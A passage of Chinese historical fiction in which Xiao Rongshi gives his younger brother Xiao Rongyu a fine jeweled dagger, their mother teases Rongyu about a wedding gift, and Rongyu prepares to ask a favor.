刀身如水,寒光内敛,刃口极薄,柄上嵌着细碎宝石,华美而不张扬。 “此刃锋利又轻便,拿着防身吧。”萧容时笑道。 萧容与当即将短刃拿起,指间转动之间,冰凉顺手,只见寒光一闪,空气仿佛被割开一线,破风声随之响起。 “好东西!”他忍不住赞了一声。 “自然是好东西。”萧容时轻哼一声,“天下间只此一柄,若是弄丢,我这里可也没有了。” 国公夫人见萧容与笑意明亮,更是打心眼里高兴,忍不住打趣道:“等你兄长大婚,可是大事,到时候看你拿什么回礼。” 萧容与眉头一跳,做了个揖:“母亲就饶了我吧。我今日来,原还有件事想禀告母亲。” 说着,又看向萧容时,脸上浮起一抹讨好的笑意:“还得求兄长帮忙。” 国公夫人闻言,神色顿时警惕了几分:“什么事?”